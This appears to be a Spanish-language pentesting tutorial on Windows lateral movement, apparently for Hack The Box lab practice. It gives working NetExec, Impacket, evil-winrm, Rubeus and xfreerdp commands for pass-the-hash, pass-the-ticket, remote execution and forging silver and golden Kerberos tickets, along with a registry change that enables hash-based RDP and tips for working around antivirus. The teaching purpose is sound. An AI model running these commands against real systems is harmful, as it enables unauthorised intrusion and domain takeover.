Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI

Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.

· 4 min de lectura

Tienes unas credenciales. Puede que sean una contraseña, un hash NT sacado de un SAM o un ticket de Kerberos. La pregunta ahora es dónde valen y cómo ejecutar comandos allí. En Windows no hace falta la contraseña en claro: el hash NT basta para autenticarse por NTLM (pass-the-hash), y un ticket basta para Kerberos (pass-the-ticket). Son las técnicas de pass-the-hash / ticket y ejecución remota, presentes en decenas de máquinas del catálogo.

1. ¿Dónde valen?

# Contraseña
nxc smb 10.10.10.0/24 -u usuario -p 'Contraseña1'
# Hash NT (la parte de la derecha de LM:NT)
nxc smb 10.10.10.0/24 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# Cuenta local en vez de dominio
nxc smb 10.10.10.0/24 -u administrator -H 8846f7... --local-auth
# Otros protocolos
nxc winrm 10.10.10.10 -u usuario -p 'Contraseña1'
nxc mssql 10.10.10.10 -u usuario -p 'Contraseña1'
nxc rdp 10.10.10.10 -u usuario -p 'Contraseña1'

(Pwn3d!) significa que puedes ejecutar comandos por ese protocolo. El generador de Impacket y NetExec te escribe cada comando con contraseña, hash o Kerberos.

2. Cómo entrar: qué herramienta usar

Herramienta Puerto Necesitas Te da Ruido
evil-winrm 5985/5986 Estar en Remote Management Users o ser admin PowerShell interactivo, subir y bajar ficheros Bajo
psexec 445 Admin local SYSTEM Alto: crea un servicio y sube un binario
smbexec 445 Admin local SYSTEM, sin subir binario Medio: crea un servicio por comando
wmiexec 135 + dinámicos Admin local El usuario, semiinteractivo Medio
atexec 445 Admin local SYSTEM, un comando por tarea programada Medio
dcomexec 135 + dinámicos Admin local El usuario Medio
xfreerdp 3389 Remote Desktop Users o admin Escritorio gráfico Bajo
evil-winrm -i 10.10.10.10 -u usuario -p 'Contraseña1'
evil-winrm -i 10.10.10.10 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c

impacket-psexec corp.local/[email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c
impacket-wmiexec corp.local/administrator:'Contraseña1'@10.10.10.10
impacket-smbexec -hashes :8846f7... corp.local/[email protected]

nxc smb 10.10.10.10 -u administrator -H 8846f7... -x 'whoami /all'         # un comando
nxc smb 10.10.10.10 -u administrator -H 8846f7... -X 'Get-Process'         # en PowerShell

Truco

RDP con hash solo funciona si el servidor tiene activado Restricted Admin: xfreerdp /v:10.10.10.10 /u:administrator /pth:8846f7... /cert:ignore. Si no lo está y eres admin por otro lado, actívalo con reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f.

3. Kerberos: overpass-the-hash y pass-the-ticket

Algunas máquinas tienen NTLM desactivado (en Scrambled, todo va por Kerberos) o quieres hacer menos ruido. Convierte el hash en un TGT:

impacket-getTGT corp.local/usuario -hashes :8846f7eaee8fb117ad06bdd830b7586c -dc-ip 10.10.10.10
impacket-getTGT corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10
export KRB5CCNAME=usuario.ccache

impacket-psexec -k -no-pass corp.local/[email protected]
nxc smb dc01.corp.local --use-kcache

Para que evil-winrm use el ticket, configura /etc/krb5.conf con el dominio y el KDC y lanza evil-winrm -i dc01.corp.local -r CORP.LOCAL.

Con tickets de Windows (Rubeus o Mimikatz los exportan como .kirbi), conviértelos:

impacket-ticketConverter ticket.kirbi ticket.ccache

4. Silver y golden tickets

Si tienes el hash de una cuenta de servicio, puedes fabricar tickets para ese servicio sin pasar por el DC (silver ticket). Si tienes el de krbtgt (tras un DCSync), puedes fabricar un TGT para cualquier usuario (golden ticket).

# SID del dominio
impacket-lookupsid corp.local/usuario:'Contraseña1'@10.10.10.10 0

# Silver ticket: hash NT de la cuenta que ejecuta MSSQL, para el SPN de MSSQL
impacket-ticketer -nthash <hash_svc_sql> -domain-sid S-1-5-21-XXXX -domain corp.local -spn MSSQLSvc/dc01.corp.local:1433 Administrator

# Golden ticket
impacket-ticketer -nthash <hash_krbtgt> -domain-sid S-1-5-21-XXXX -domain corp.local Administrator

export KRB5CCNAME=Administrator.ccache

El silver ticket para MSSQL es justo la vía de Scrambled.

5. Desde Windows

Si ya estás en una máquina del dominio:

# Ejecutar en otro equipo con las credenciales actuales
Enter-PSSession -ComputerName srv01
Invoke-Command -ComputerName srv01 -ScriptBlock { whoami }

# Con otras credenciales
$c = New-Object PSCredential('CORP\usuario', (ConvertTo-SecureString 'Contraseña1' -AsPlainText -Force))
Invoke-Command -ComputerName srv01 -Credential $c -ScriptBlock { whoami }

# Pass-the-ticket con Rubeus
.\Rubeus.exe asktgt /user:usuario /rc4:8846f7... /ptt

Más variantes (y C2 como Sliver o Havoc) en la chuleta de C2 y post-explotación.

Errores típicos

  • STATUS_LOGON_FAILURE con un hash correcto: es una cuenta local y falta --local-auth, o es del dominio y has puesto --local-auth.
  • rpc_s_access_denied en psexec pero NetExec dice Pwn3d!: el antivirus ha bloqueado el binario de psexec. Prueba wmiexec o smbexec.
  • Un administrador local que no es Administrator no consigue Pwn3d!: por UAC remoto (LocalAccountTokenFilterPolicy), solo la cuenta RID 500 tiene privilegios completos por red.
  • Kerberos falla con KDC_ERR_S_PRINCIPAL_UNKNOWN: estás usando la IP; Kerberos necesita el nombre (dc01.corp.local) y que resuelva.

Y después

En cada máquina nueva, vuelca las credenciales que guarde (volcado de credenciales) y prueba de nuevo dónde valen: así se recorre un dominio. Si el antivirus te bloquea, lee primero cómo detectan los EDR.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Pass-the-hash / ticket 14 máquinas

Ver las 14 máquinas →

Ejecución remota (WinRM, PsExec, WMI) 39 máquinas

Ver las 39 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo